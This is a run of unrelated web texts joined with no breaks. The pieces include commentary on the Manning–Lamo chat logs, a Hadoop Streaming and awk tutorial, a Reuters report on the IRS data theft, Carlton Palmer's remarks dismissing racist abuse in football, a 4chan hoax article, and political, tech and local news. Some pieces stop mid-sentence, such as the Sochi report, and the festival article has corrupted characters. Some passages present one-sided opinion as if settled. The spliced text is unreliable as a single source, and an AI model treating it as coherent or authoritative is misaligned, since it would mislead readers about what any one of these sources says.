Then there’s a gap of about 10 minutes in the published chat logs during which–from the context–further conversation about Assange personally appears to have taken place. Such content is suggested from the way the chat moves from Manning reporting he is a “total fucking wreck” to returning to Manning’s relationship with Assange, with Manning seemingly correcting what appears to have been a Lamo suggestion that he–Manning–is a “volunteer” (remember, Lamo was pretending he wanted to “volunteer” to help Wikileaks with operational security).
(2:04:29 PM) Manning: im a source, not quite a volunteer
(2:05:38 PM) Manning: i mean, im a high profile source… and i’ve developed a relationship with assange… but i dont know much more than what he tells me, which is very little
Again, note how this exchange–Manning’s apparent correction regarding his relationship with Assange–actually hurts the reported current prosecution strategy of painting the Assange-Manning relationship as something other than a journalistic one.
Now, one of the many narratives he would tell about his role in turning Manning in, Lamo suggested he contacted the military when he heard that Manning had accessed the 260,000 cables (though Lamo’s story varies on what day he contacted the Feds). Which is why I find this sequence–which Wired summarized but did not publish in its own publication of the chat logs–so interesting. All of the narratives about how Lamo came to out Manning to investigators start a day or two after this curious day of activity.
Yet already on this first substantive day of chat logs, Lamo appears to be fixing technical issues in the chat, demanding specific evidence about the cables, and–most suspiciously–presenting seemingly contradictory opinions about Wikileaks and Assange that had the effect of eliciting information about operational specifics and details on Assange’s own role in Wikileaks’ operations.Imagine you have a CSV file that you want to manipulate. Here’s a sample file we can play with:
lopez,charlie,2002,11,21 parker,ward,1995,04,08 henderson,russell,2007,10,01
Our goal is to transform this into the following form by combining the last three columns:
lopez,charlie,20021121 parker,ward,19950408 henderson,russell,20071001
In Linux this would take all of two seconds (excuse the awkward awk command):
shell$ awk -F"," '{ print $1","$2","$3$4$5 }' people.txt
What if you wanted to quickly do the same in HDFS - and let’s assume you want to write the results back to HDFS. One approach would be to use the HDFS CLI to stream the inputs into awk, and stream the awk output back into HDFS. You could do this with the HDFS cat and put - options (note that adding a hyphen after put instructs the put command to stream data from standard input to HDFS):
shell$ hadoop fs -cat people.txt | awk -F"," '{ print $1","$2","$3$4$5 }' | hadoop fs -put - people-coalesed.txt
BTW, if your input and output files are LZOP-compressed then this command would work:
shell$ hadoop fs -cat people.txt.lzo | lzop -dc | awk -F"," '{ print $1","$2","$3$4$5 }' | \ lzop -c | hadoop fs -put - people-coalesed.txt.lzo
This is great if your file isn’t too large, but if it’s multiple gigabytes in length then you probably want to harness the power of MapReduce to get this done in a jiffy! The words “in a jiffy” and “MapReduce” aren’t commonly used together, so what do we do? Well you could crack open Pig or Hive and write some custom user-defined functions, but this means you end up in Java which we want to avoid.
Hadoop Streaming comes to the rescue in these situations. Let’s first create our awk script which will be executed:
shell$ cat people.awk #!/bin/awk -f BEGIN { FS = "," } { print $1","$2","$3$4$5 }
In Linux, if you make this awk script executable, you could execute is as follows:
shell$./people.awk people.txt
In MapReduce-land we don’t need to join data in this particular example, so we don’t need to run any reducers. Call your awk script from mappers via Hadoop Streaming with this command:
shell$ HADOOP_HOME=/usr/lib/hadoop shell$ ${HADOOP_HOME}/bin/hadoop \ jar ${HADOOP_HOME}/contrib/streaming/*.jar \ -D mapreduce.job.reduces=0 \ -D mapred.reduce.tasks=0 \ -input people.txt \ -output people-coalesed \ -mapper people.awk \ -file people.awk
A few options in the Hadoop Streaming command are worth examining:
Finally - to get LZO into the picture you need to add -inputformat, -D mapred.output.compress and -D mapred.output.compression.codec arguments:
shell$ HADOOP_HOME=/usr/lib/hadoop shell$ ${HADOOP_HOME}/bin/hadoop \ jar ${HADOOP_HOME}/contrib/streaming/*.jar \ -D mapreduce.job.reduces=0 \ -D mapred.reduce.tasks=0 \ -D mapred.output.compress=true \ -D stream.map.input.ignoreKey=true \ -D mapred.output.compression.codec=com.hadoop.compression.lzo.LzopCodec \ -inputformat com.hadoop.mapred.DeprecatedLzoTextInputFormat \ -input people.txt.lzo \ -output people-coalesed \ -mapper people.awk \ -file people.awkXperia Z3 Compact versus iPhone 6 video comparison
Apple launched the iPhone 6 and iPhone 6 Plus to the masses today. No doubt you have already seen the hysteria surrounding the launch with hundreds of people queuing to be one of the first to own Apple’s new wares. The Sony Xperia Z3 Compact is flying the flag for Android as probably one of the best competitor devices in terms of size, hardware and build.
If you want to see how the 4.7-inch iPhone 6 sizes up against the 4.6-inch Xperia Z3 Compact, then check out a great comparison video from our friends at Btekt. Both look like great phones and if you’re already invested in iOS then there’s probably no Android phone that will turn you away. However, if there was any phone that could cause those backward glances, we feel the Xperia Z3 Compact is best equipped. Also, check out a video comparison against the Xperia Z3 below.
Xperia Z3 Compact versus iPhone 6
Xperia Z3 versus iPhone 6
Via Btekt.If you are an 80's baby or even an early 90's baby, the word Tamagotchi should ring a bell to you. Tamagotchi was a pocket device that was essentially a digital pet. The goal was to keep your Tamagotchi fed and happy. The egg-shaped device could fit in your pocket and was a huge craze in schools. They came in different colors and could attach to keychains. Bandai has decided to re-release the 1996 version of the popular device after over 20 years! The only catch is that it is only available in Japan or on Amazon Japan. There's no telling how well the device will do considering the advancements of smartphones and apps; but maybe it will appeal more to the older audience who want that sense of nostalgia. Let us know in the comments below if you think Bandai can revive the Tamagotchi!
For more exclusive content sign up to our newsletter HERE!An online petition urging administrators to cancel Tyga’s performance at Yardfest garnered more than one thousand signatures on Change.org late Sunday night, circulating via Facebook and email.
The petition, which describes Tyga’s song lyrics as “explicitly and violently misogynistic,” comes days after the College Events Board announced that the rapper would headline this year’s spring music festival and is addressed to the Office of Student Life, the administrative body that oversees the CEB.
Leah Reis-Dennis ’13, who launched the petition, said she decided to protest Tyga’s selection after discussing the issue with friends.
“We were outraged that someone who promotes sexism and violence against women so explicitly would be selected to perform at our college, and we thought that was wrong so we decided to start a petition,” she said. “Tyga has a right to sing and to write whatever he wants, but that doesn’t mean Harvard should give him a platform at our biggest concert of the year to promote that kind of sexism and violence.”
More than 400 people signed the petition in its first hour online. By press time early Monday morning, it had received more than 1,100 signatures, including those of signers identifying themselves as students and alumni. Many signers identified their location as Cambridge, but others hailed from locations across the country.
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“I agree with this petition because I don’t think that Harvard as an institution or as an undergraduate body should support an artist that routinely has lyrics that are misogynistic,” said Danielle M. Goatley ’14, who signed the petition. “I know [the CEB] has funding constraints, but you do have to weigh your moral choice when you’re picking an artist.”
Blake A. Wilkey ’13, who said that many of his friends were rappers, also signed the petition, though citing different reasons.
“It’s offensive to me whenever I feel like the cheapest and most commercialized version of that [rap] culture which is pretty rich and full of actual content is chosen as its representative in the public sphere, especially in a place like this,” Wilkey said.
Reis-Dennis said she believes the petition has gained enough attention that OSL will have no choice but to acknowledge student opinion.
“I think [the Office of Student Life] will have to listen because we received over 400 signatures in an hour, which is an undeniable student voice,” Reis-Dennis said. “I would be shocked and outraged if the OSL were to ignore such a strong student voice for change.”
—Staff writer Laya Anasu can be reached at layaanasu@college.harvard.edu. Follow her on Twitter @layaanasu.(Reuters) - Tax return information for about 100,000 U.S. taxpayers was illegally accessed by cyber criminals over the past four months, U.S. IRS Commissioner John Koskinen said on Tuesday, the latest in a series of data thefts that have alarmed American consumers.
United States Internal Revenue Service Commissioner John Koskinen appears before a House Oversight and Government Reform Government Operations Subcommittee hearing on "Examining Solutions to Close the $106 Billion Improper Payment Gap" in Washington July 9, 2014. REUTERS/Gary Cameron
From February to May, attackers sought to gain access to personal tax information 200,000 times through the agency’s “Get Transcript” online application, which calls up information from previous returns, he told a news conference. About half of those attempts were successful.
The breach did not affect any IRS data outside the “Get Transcript” application, and the agency said it would strengthen its security measures.
Koskinen said he could not comment on who the attackers might be, and a criminal investigation was ongoing.
“We’re confident these are not amateurs. These are actually organized crime syndicates that not only we but everyone in the financial industry are dealing with,” Koskinen said.
The data theft was largely intended to steal taxpayers’ information to submit fraudulent returns next year, he said.
The agency currently believes that fewer than 15,000 fraudulent returns were processed as a result of the breach, likely resulting in refunds of less than $50 million.
The IRS security problem is the latest in a string of breaches. JPMorgan Chase as well as mega-retailers Target and Home Depot have all suffered cyber attacks.
The IRS data theft differs in that it did not involve a computer hack. Criminals used information they had gathered about individuals to access the system as it was designed to be used, the IRS said.
The agency, which will begin to send notification letters to affected taxpayers this week, will provide free credit monitoring and protection for the victims.
Koskinen said the attackers must have had a significant amount of information already about the taxpayers.
In addition to names, addresses and Social Security numbers, the attackers would have needed so-called “out of wallet” data, personal information such as a person’s first car or high school mascot, he said.
Koskinen said it was possible that identity thieves could get answers to these questions from individuals’ social media accounts and compile them into searchable databases.
Koskinen said the tax agency was originally alerted to the problem by unusual activity in mid-April, which marks the end of the annual tax-filing season.'Grow up and accept it!' Palmer believes racism victims should concentrate on playing instead of reacting to the abuse
Carlton Palmer believes that footballers who suffer racial abuse whilst playing should just "grow up and accept" the barbs.
The former England international said he was the subject of discriminatory taunts in his professional career, but that he just "laughed it off."
The ex-Sheffield Wednesday defender believes opponents use it merely as a technique to distract an opposing player from playing their normal game.
Get on with it: Carlton Palmer believes footballers should accept racial abuse on-the-pitch
Palmer told talkSPORT: 'If you want to intimidate me about my colour, which has happened loads of times, then I’ll just laugh it off. If I’m stupid enough to get involved with you because you’re calling me a black something or other, I’ll just laugh it off.
'I played at West Ham and they were chucking bananas on the pitch, I ate the bananas. I love them! It doesn’t worry me. I’m not interested in that. I’m just interested in winning the football game.
'If someone is on a football pitch or in a boxing ring or whatever, you’re in there to win. It is part and parcel of it [to try to put someone off]. And you have to grow up and accept that. And anybody who thinks different is lying. It’s been going on for years.
Racially abused: Palmer (right) said he West Ham fans once threw bananas at him whilst playing
Getting stuck in: Palmer (left) made over 500 league appearances in his professional career
'When you say it’s not right, if I can intimidate you by saying something that puts you off your game, why isn’t that right?
'That’s not racism. Not for me, it’s not. It depends on the context. Whenever it’s happened to me, and I’m not mentioning any names, I never thought that person was a racist. If they can get me sent off because I react, that’s different. On the pitch, the laws are different.
'Some people for me, and some players, some black players, have used this as an excuse. And then the ones that have actually been racially abused, those incidents are not being dealt with.'
Part of the game: Palmer believes opposing players may racially abuse an opponent to upset their performance
In agreement: Palmer echoes Sepp Blatter's (pictured) views that a handshake could solve on-pitch racism
On FIFA president Sepp Blatter’s claim that on-pitch racism can be settled with a handshake at the end of the game, Palmer added:China won its first gold medals of the Sochi Olympics on Thursday night, extending to a dozen years its dominance of the women’s 500-meter short-track skating event and also reaching into the unfamiliar realm of 1,000-meters speed skating.
Zhang Hong’s medal in the ladies’ 1,000 meters was the more surprising win, as China had never won a gold in the event. The 25-year-old from Heilongjiang also hasn’t got on the podium at World Single Distances Championships, finishing seventh in the flagship speed |
as the senior political, security, or humanitarian relief jobs in New York.
But perhaps no permanent member of the Security Council has felt more aggrieved than China, a major world power that believes it has gotten short shrift. Its most senior post is the Department of Economic and Social Affairs, considered a second-tier U.N. agency.
Now, having gradually expanded its presence in peacekeeping missions over the past decade, China believes it deserves an upgrade, some diplomats say.
Most of China’s blue helmets are posted in Africa, where Beijing maintains extensive commercial, political, and security interests. It has troops in Mali, Liberia, the Democratic Republic of the Congo, and South Sudan.
Three Chinese peacekeepers have died on duty this year. Islamists killed one Chinese soldier and injured four others in an ambush in Gao, Mali, in May. Two Chinese soldiers were killed in South Sudan in July, when their armored vehicle was hit with a rocket-propelled grenade.
China has also spent eight years running counterpiracy naval patrols off the coast of Somalia, helping end what for many years was a costly scourge to global trade. And it has more recently established a naval base in Djibouti, alongside the United States and other world powers.
Not everyone is convinced that China is keen to take on a high-profile role, saying all this talk of Chinese aspirations has been fueled by backroom gossip. The Chinese Mission to the United Nations did not respond to a request for comment; nor did several secretary general candidates.
One candidate who did respond acknowledged being told China was angling for the top peacekeeping job by “various sources, including fellow UN secretary general candidates.” But the candidate, who spoke on condition of anonymity, added: “I must admit that the Chinese themselves have not raised that with me.”
“This rumor about China seeking [an undersecretary general] position for peacekeeping? Personally, I don’t buy it,” said one Security Council diplomat, noting that he believes China recognizes it is not ready for prime time.
Peacekeeping mandates historically have been fashioned by the Security Council’s Western powers, placing any Chinese peacekeeping chief in the awkward position of carrying out instructions that may conflict with Beijing’s objectives. And any new scandal that erupts under China’s watch could reflect badly on Beijing.
Already, Chinese troops, along with their Nepalese and Ethiopian counterparts, have faced criticism for failing to come to the aid of relief workers beaten and raped in a horrifying attack by South Sudanese government troops in July at the Terrain hotel facility in Juba. One senior European diplomat said it’s more likely that Beijing is after a lower-profile post within the U.N. Secretariat, such as senior military advisor, which would give it greater influence within the U.N.’s internal debates over peacekeeping doctrine.
Still, China’s embrace of peacekeeping operations has been a watershed for a country with a deeply entrenched resistance to foreign intervention. Even today, China remains wary of U.S.-backed efforts to push U.N. blue helmets to act more aggressively to protect civilians in conflict areas.
China’s trepidation about U.N. peacekeeping dates to the very beginnings of the People’s Republic. In the Korean War, from 1950 to 1953, a U.N.-mandated force led by the United States marched almost to the Yalu River before clashing with Chinese troops. The U.S. commander, Gen. Douglas MacArthur, even considered a nuclear strike to deter Mao Zedong’s Red Army from pouring down into North Korea.
Twenty years later, the scars remained. When China joined the United Nations in 1971, it refused to fund U.N. peacekeeping operations for a decade and remained wary of engaging in council discussions on the topic.
By the 1990s, as China’s more open approach to the world paid economic dividends, it has become less ambivalent. In recent years, it has stationed force commanders in Western Sahara and Cyprus. Currently, two Chinese officers serve as military advisors in the U.N. peacekeeping department at the headquarters in New York. The second-highest-ranking military officer in the U.N. mission in South Sudan, Maj. Gen. Yang Chaoying, is Chinese.
There is cause for concern China could alter the way U.N. peacekeeping operations work. In the past, China typically sided with the U.N.’s developing countries, which were thrilled with fat budgets that employed thousands of their citizens. But as China’s share of the peacekeeping budget has grown, Beijing suddenly started promoting greater fiscal restraint.
In June, Chinese diplomats fought hard to keep costs down by trying to cut funding to human rights offices embedded in most peacekeeping missions. They also proposed defunding the department’s “conduct and discipline” unit, which monitors reports on abuses by U.N. soldiers.
They also tried to scale back funding for the surveillance drones the U.N. uses in peacekeeping missions from Congo to Mali, which track the movements of potential enemies in the field.
The United States and its Western allies beat back most of China’s proposals. But diplomats expect this may be the beginning of a long-term effort by Beijing to flex its growing fiscal muscles and constrain U.N. blue helmets from scrutinizing countries’ human rights abuses.
“They seem to be in favor of streamlining the budget,” the council member said.
“But that’s more of a talking point to hide what they really had in mind: scrapping all the different expenses proposed for human rights,” the diplomat said.
Photo credit: PETER PARKS/AFP/Getty ImagesOnline feminists and social justice warriors (SJWs) have been fooled by users of an internet forum into starting a campaign to ban the Christmas tradition of kissing under mistletoe. Apparently, the small plant promotes nonconsensual kissing and even rape.
“I have an idea for trolling feminists”, wrote an anonymous user on the internet forum 4Chan on 1 December. “Let’s see if we can get them to ban mistletoe because it ‘promotes rape culture’”.
“Something like #SayNoToMistletoe. What do you think?” he propositioned. “Could actually work” responded one user. “Bumping for serious potential”, added another.
‘Rape culture’ is the idea that Western culture somehow promotes and perpetuates the crime of rape, and that pernicious forces in society like the patriarchy are responsible for the violent crimes.
Mistletoe is a parasitic plant with tiny white berries. Small sprigs are traditionally hung up at random locations during Christmas time, under which lovers are expected to kiss. Because the tradition encourages men to kiss women, it could be said to perpetuate rape according to ‘rape culture’ logic.
Almost immediately after the suggestion was made on 4Chan, a fake twitter page was set up and users of the messaging board began covertly spreading the message, posting satirical but genuine-sounding messages condemning mistletoe.
Mistletoe is so wrong. Men are pigs and use this construct as a means for rape. Another wrong in our patriarchal society. #SayNoToMistletoe — TitsMcgee (@HuntaroTheGreat) December 4, 2015
#SayNoToMistletoe let's abolish this horrific tradition that promotes rape culture — Colin Diehl (@C_DiehlQB8) December 4, 2015
https://twitter.com/fappyhour/status/671886585437274112
Some feminists fell for it.
https://twitter.com/TedVeerman/status/672898477177888769
https://twitter.com/feminiest/status/671863428596826112
#SayNoToMistletoe because up to 85% of all adults in US are carriers of oral herpes… and that stuff never goes away people. Stop that junk — Ravjot Mehek Singh (@ravjotmehek) December 4, 2015
Others remained sceptical.
This tag is so pathetic, and feminists will ofc be blamed for it when anti-fems were the ones who started it #SayNoToMistletoe — meg ︽✵︽ (@vxlkyrieloki) December 5, 2015
And a few were enraged:
#SayNoToMistletoe 👈🏽 seriously? You feminists need to shut the fuck up. It's not that serious, it's a damn plant. Get on my nerves 😒 — Alexandria 🌙 (@ChasingBohemian) December 4, 2015
#SayNoToMistletoe because why make Christmas fun anymore? Stupid feminists — Joey (@JoeyJoeyJoey996) December 4, 2015
https://twitter.com/Glitter682/status/672550471588904960
Just three days after the prank was concocted — in a move unconfirmed to be connected to the hashtag — Cornell University in the US decided that mistletoe was no longer politically correct. Campus authorities issued a document demanding that students and staff avoid the tradition, because it “doesn’t create an inclusive environment”.
The trolling campaign is similar to other successful hoaxes on social justice warriors (SJWs) and feminists, such as the ‘p*ss for equality’ campaign, where feminist were tricked into wetting themselves in ‘solidarity’ with rape victims, and the ‘free bleeding’ prank, when 4Chan users managed to fool most of the mainstream press.Sanders Deflects FOX Question on FBI Probe, Gives Health Care Criticism Instead
WATCH: Trump, Indian PM Modi Share Hug at WH Presser
Investigative journalist Sharyl Attkisson discussed the state of the American media, in the wake of contested stories about President Trump.
Attkisson said she worked for three years at CNN, one of the organizations considered critical of the White House.
She said the over the past few years, there has been "a huge sea change" in the media's position as an unbiased arbiter toward one that pushes narratives.
Attkisson said the mainstream media, like lobbyists, see Trump as a "threat" to their "establishment" culture and even their jobs.
In turn, she said the media has largely shifted to be critical of the White House at every turn.
"We are getting an artificial reality created by people who are putting out narratives," Attkisson said on "Tucker Carlson Tonight."
"People sense they're not getting an accurate picture," she said.
Watch the clip above.
HI Dem: Gorsuch, Clarence Thomas, Sam Alito 'The 3 Horsemen of the Apocalypse'
LISTEN: CNN's Acosta Confronts Spicer Over Off-Camera BriefingNancy Smeltzer of Columbus was road-weary on her drive home from Utica, NY when she saw something big and shiny out of the corner of her eye. What it was made her grab her cellphone and shoot a picture, and, moments later, she posted this on Facebook: "Car? Rocket? Hallucination?"
Her Cleveland friends responded immediately. "It's the Euclid Beach rocket car!" They blew up her Facebook page with remembrances and sightings of their own. Having grown up in Missouri, Smeltzer was unfamiliar. "I thought maybe we had taken a wrong turn at Cape Canaveral," she said.
Clevelanders know that the sleek rockets once flew through the air, gliding in a large arc around the tower at Euclid Beach Park on the Lake Erie shore. Built in 1938 by the park's welder, the stainless steel rocket ships celebrated the Flash Gordon era and offered bird's eye views of the park, the waves, and fishermen on the pier.
The amusement park was demolished in 1969, its assets sold at auction. Pieces of some of Cleveland's best summer memories were dismantled and scattered across the country.
One day in 1978, businessman mechanic Ron Heitman was driving down Saranac Road in East Cleveland.
"I spotted it out of the corner of my eye in a guy's back yard, and I knew just what it was," he said. "I was preparing an Olds Toronado for a race, and I kept thinking about this rocket and wondering if the Toronado motor would fit in it."
Curiosity got the better of him and he returned to the languishing rocket. Its owner had bought the rocket at the auction for his children to play in.
"The kids had grown and her he is, stuck with Shamu in his backyard," Heitman said. "He was happy I came along to take it off his hands, and three-and-a-half months later, we had a car."
The Toronado motor did fit inside, along with a 30-gallon fuel tank. Heitman built the steering mechanism with chains and gears from earth moving equipment. He cut up the Olds frame and attached it to the rocket, along with a two-by-four piece of steel connected to two I-beams. "The frame is girders, it's quite a piece of machinery; really well-built," he said of the 6,270 pound behemoth. He liked the result so well that he found the second of the three Euclid Beach rockets, bought it and in two short months, "because then I knew what I was doing," he had another road rocket.
Clevelanders have seen the rockets on city streets for years. They add excitement to local parades and block parties, transport brides to the church and take high school seniors to prom. The cars have been in 10 consecutive Macy's Thanksgiving Day parades. "It's probably the neatest parade you could ever be in," Heitman said. "I drove the New Kids on the Block when they were still new."
The vehicles are street legal, and have reached a confirmed speed of 136 mph. The first rocket did 98 mph in 17.58 seconds in a standing quarter mile. Yes, Heitman, his wife and his daughter all race autos.
Goodyear invited Heitman to bring his rocket car to the Indy 500. He drove around the speedway, carrying race car drivers in his stainless steel juggernaut. Legendary driver and race car owner Parnelli Jones was one of the passengers and started shouting, "Hey driver, you're crazy." Heitman considers that a badge of honor. "Makes me certifiable," he said.
Heitman tells of the time he was driving the rocket car on a toll road to a big event in Springfield, IL. He got pulled over by a state highway patrolman. Heitman assured him the vehicle is safe and street legal, but the officer demanded that Heitman follow him. They ended up at the Highway Patrol station, where 12 officers piled into the rocket for a group photo, which landed on the cover of the Highway Patrol Gazette with the headline, "New Highway Patrol vehicle for Illinois."
At an event at the Kemper House in Olmsted Falls recently, jaws dropped as the crowd spotted the gleam of stainless steel. Residents of the Alzheimer's residential facility flashed back to bygone days when Heitman pulled up in his customized rocket. Wrinkled faces broke into grins wide enough to erase life's wear and tear, if only for the time it took to circle the neighborhood.
Pam Hozan, who helped plan the event, helped the seniors get safely into the silver time machine. Hozan, dressed in a clown suit, hopped in for one of the last rides of the afternoon.
"That was the most fun I've had in a long time," she said afterward, laughing as she adjusted the blue clown wig that had blown back during the ride. "That's a memory that the residents will have, well, hopefully for a little while, anyway," she said.
Heitman gets 20 or 30 calls a day, asking about the rockets and how to book one for an event. The charge is $185 an hour. Heitman pulls up in the rocket like the Wizard of Oz, and turns black-and-white memories into vivid color, 3-D reality.
For more information, go to www.therocketcar.comAdvocates Worry Trump Administration Wants To Revamp Motor Voter Law
Enlarge this image toggle caption Eric Gay/AP Eric Gay/AP
Lost in the uproar last week over a written request by a White House commission for state voter registration lists was another letter sent that same day. It came from the civil rights division of the U.S. Justice Department (DOJ), and asked states for details on how they're complying with a requirement in the National Voter Registration Act (NVRA) — also known as the motor-voter law — that election officials keep their voting lists accurate and up to date.
The timing and focus of the two letters — one from the commission and the other from DOJ — has made some voter advocacy groups nervous about what the Trump administration is up to, and whether its ultimate goal is to weaken or revamp the motor voter law.
"It's very concerning," said Brenda Wright, vice president of policy and legal strategies at Demos, a liberal advocacy group that's been fighting state efforts to purge voters from the rolls. Wright notes that the main purpose of the motor voter law is to expand opportunities to register to vote, but that millions of eligible Americans are still unregistered.
"The problems that DOJ should be focusing on are that too few eligible people have access to the vote and are voting. DOJ going after states to force them to do more purging is exactly the opposite of what the department should be doing," she said.
It's not clear how the DOJ request might be linked, if at all, to the commission's work — although both are focused on concerns that voter rolls are bloated with outdated or inaccurate registrations, including for those who have died, moved or are otherwise ineligible to vote.
In an interview last week with NPR, the commission's vice chair, Kansas Secretary of State Kris Kobach, said one reason they've requested state registration records is that he'd like to compare them with federal databases to see if any non-citizens or deceased voters are listed. He noted previous estimates that almost two million dead people are still registered.
"We can also look at voter history and see how many of those two million... fraudulently, someone cast a vote in their name, after the date of death," Kobach said.
But many election experts and voter advocacy groups say such matching efforts are flawed, and often produce false positives. They worry that it could lead to legitimate voters being taken off the rolls, and efforts to impose more voting requirements in the name of preventing voter fraud.
Kobach is one of the few officials who agree with President Trump's allegations that such fraud is widespread. Kobach has also argued that the motor voter law adds to the problem by making it difficult to take ineligible people off the rolls.
Christian Adams, president of the Public Interest Legal Foundation, a conservative group that's sued numerous election offices for not cleaning up their voting lists, agrees.
"When you've got a system that allows people to mark, 'No, I am not a citizen,' and still get registered to vote, that system is broken," Adams said.
He was referring to cases where an individual applying for a driver's license is allowed simultaneously to register to vote, one of the key provisions of the motor voter law. Sometimes non-citizens end up registering, often by accident, and their name might remain on the rolls for awhile because the law protects against removing names too quickly so that eligible voters aren't mistakenly purged.
President Trump has called the problem of messy voter rolls "a really bad situation" and cited a 2012 Pew report that found millions of inaccurate registrations as one reason he wanted to establish the commission to look into voter fraud.
David Becker, who now runs the Center for Election Innovation and Research, was the author of the Pew report and said states could do more to clean up their voter rolls and get rid of inaccurate registrations, especially for those who have moved or passed away. He estimated there could still be hundreds of thousands, maybe millions, of outdated registrations.
But, he added, "I think also, very importantly, we know from the extensive research on voter fraud, that those people aren't voting."
Becker, a former DOJ attorney, also wonders about the timing of the two letters to states seeking information about their voter rolls, and whether it's a sign of coordination between the Justice Department and the voting commission on what to do about the motor voter law.
He says the DOJ letter, especially, seems to indicate a shift in focus from enforcing provisions intended to expand registration to those requiring list maintenance.
A DOJ spokesman said in a statement that the department sent the letters because it hasn't reviewed what states and localities are doing to maintain their voting lists under the NVRA for many years and "looks forward to working with state and local election officials to facilitate appropriate list-maintenance activities toward our common goal of free and fair elections for all voters."
For his part, Kobach said the presidential commission will follow the facts where they lead, and that he has no idea what, if anything, the panel will recommend.Photo
After giving a version of his stump speech to a mostly gray-haired crowd in Iowa, Gov. Scott Walker of Wisconsin was pressed on Friday by two twenty-something Republicans about a percolating issue he did not mention: immigration.
Mr. Walker’s apparent hardening on immigration has inspired a flood of reporting and commentary. Most recently he told the radio host Glenn Beck that he favored restricting legal immigration in tough economic times, a position to the right of most other 2016 presidential hopefuls.
He repeated that view Friday after a speech in Cedar Rapids, when Eddie Failor, 24, expressed concern “as a young Republican” that the party must make inroads to new voter blocs, including by supporting a comprehensive overhaul of immigration.
Mr. Walker told Mr. Failor that his top priority would be securing the border. He also said he favored “making sure the legal immigration system is based on making our No. 1 priority to protect American workers and their wages.’’
Alexander Staudt, the treasurer of the University of Iowa College Republicans, also told Mr. Walker in the meet-and-greet line that he was concerned that by talking tough on immigration, Republican candidates would turn off Hispanics.
“In terms of how wide or how narrow the door’s open, our No. 1 priority is American workers and American wages,’’ Mr. Walker told him. “I don’t know how anyone can argue against that.’’
Both Mr. Staudt and Mr. Failor asked the governor what he would do about the millions of undocumented workers already in the country. Mr. Walker said they should return to their countries of origin and apply for legal entry.
Mr. Staudt liked that answer. “The bigger that number gets,’’ he said, referring to undocumented immigrants, “it’s going to become less economically viable.’’
But Mr. Failor, who has attended several Republican candidates’ events this year, said he was disappointed.
“He gave a conflicting message, in my opinion,’’ he said. “He said he’s not one who believes in spending billions of dollars to deport all these undocumented immigrants. When I asked if he supported a pathway to legal status, he said no, he’d send them back to their country of origin and let them get in line with everybody else. I don’t know how that works within the deportation equation.’’Bruce Hornsby and the band Railroad Earth headline a new music festival that opens today in a controversial outdoor venue next to Mount Pisgah.
The Cascadia Music Festival, a single-day event that offers overnight camping, also will feature performances by Tony Furtado, Jelly Bread and the Shook Twins.
Railroad Earth, which has played regularly in Eugene and Portland venues since the New Jersey band formed in 2001, connected with Hornsby four years ago when they performed together at a show in Philadelphia.
�We played, and he played right after us,� said Railroad Earth vocalist Tim Carbone, who plays violin and electric guitar. �I ran into him in the hallway leading to the dressing rooms they had set up.
�He said, �Come on in. Let�s talk.�?�
That led to the band joining Hornsby this summer on his Noise of the Earth tour, which begins right here in Eugene.
Hornsby, a versatile musician best known for his 1986 song �The Way It Is,� also has played more than 100 concerts as the keyboardist with the Grateful Dead. He also played the national anthem for the NCAA Outdoor Track & Field Championships last month.
Hornsby may or may not join the musicians of Railroad Earth on stage at the concert, Carbone said.
�We have no idea how this is all going to go,� he said. �There is no guarantee he will sit in with us or we will sit in with him.
�And more than likely, if he does he will sit in playing accordion. And he�s an unbelievable accordion player.�
Waves of Americana
Carbone, 56, has been in the music business most of his life, watching one wave after another of roots and country music fuse into the sound of American pop.
�This is like the 15th wave or something,� he laughed. �I remember all of them.�
Carbone started off taking violin lessons in grade school, but he moved away from sonatas and concertos as a teenager when he saw a record by a blues violinist.
�I was intrigued,� he said. �I bought the records for $3. Whew! Oh my God! You can play something on the violin besides classical music.�
He never looked back.
Carbone�s sound, and the sound of Railroad Earth, grows out of seeds planted by the Nitty Gritty Dirt Band and the Flying Burrito Brothers, later fertilized by exposure to French jazz violinist Stephane Grappelli and American mandolinist David Grisman.
The concert�s presenters, Sea Level Productions, hope to make the festival an annual event. In fact, they are planning a three-day festival beginning next year.
The festival will take place in the newly named Emerald Meadows, on the northern edge of the park, which also is home to the Mount Pisgah Arboretum.
Promoting the park
Crista Munro, co-owner of Seal Level Productions with her husband, Dan Appenzeller, said they expect between 2,000 and 3,000 people to attend the festival � original projections were for 3,000 to 4,000 � which will be staged in Lane County�s Howard Buford Recreation Area southeast of Eugene.
Concerns about noise, sanitation and safety voiced in a recent guest column published in the Register-Guard about staging the outdoor concert in the rural park were off the mark, Munro said.
�The guest editorial the other day seemed to be addressing events of a different nature than the ones that we will be putting on here,� she said in an e-mail. �The crowds that we attract are family-friendly and peaceful.
�We stand behind our track record in Colorado, where we have produced festivals since 1996 with no major incidents.�
Bringing thousands of people into the park can even benefit the setting, she said.
�Not enough area residents are aware of the beautiful hiking and recreational opportunities available at Buford Park,� she said.
�Getting them out to the site, even for a festival, will hopefully get them back as return visitors in the future and create a larger base of supporters for the Friends of Buford Park and the Mount Pisgah Arboretum.
�We are amazed by the number of longtime residents we talk to who have never set foot on the property.�
Call Bob Keefer at 541-338-2325 or e-mail him at bob.keefer@registerguard.com.The March system update for Xbox One is starting to roll out today, addressing some of the biggest feedback you’ve shared with us.
This significant update includes improved matchmaking, party chat and friends features that will make gaming on Xbox One an experience like no other. This update means next week you’ll be able to enjoy Titanfall on the best multiplayer service on the planet, using a new headset or the one you already own, while live broadcasting your games on Twitch (when the updated Twitch app arrives next week.)
Take a look at some of these new features in action:
How do you get the new update? For the vast majority of Xbox One owners who use “Instant On” (the low power state that allows you to instantly power up your console by saying “Xbox On”), the console automatically checks for updates when customers turn it off. This means that once we’ve made the March update available (late tonight, Pacific Time), the next time you turn your console off it will take the update during off-peak hours in your local time. Ultimately, you’ll see it sometime in the next day or two.
For more information on this system update, click over to Xbox Wire. Here is a longer list of the features you’ll see in this update:
Improved Multiplayer & Party chat
Cross title party chat
Party chat on by default
Easier multiplayer invites
Easier multiplayer joining
Ability to see what the people in your party are doing
Improved Friends List + Profile
Improved friends list utility & speed of access
Ability to see people you recently played games with
See when friends are broadcasting, including live broadcast thumbnails in activity feed
Get to a friend’s profile faster using type-ahead suggestions
Contextual app menu actions on friends list and activity feed items
Enabled more multiplayer (join and invite) actions on user profiles
54 new contest-winning gamerpics
Twitch TV live streaming support
Broadcast gameplay on Twitch.TV through Xbox LIVE (When the updated Twitch app ships next week.)
Voice support for starting and ending broadcast
Bringing out social in home
See favorite friends currently online
See friends broadcasting gameplay
Miscellaneous shell improvements
View Game Clips while in snap mode
Protect user settings with passkey
Browser improvements
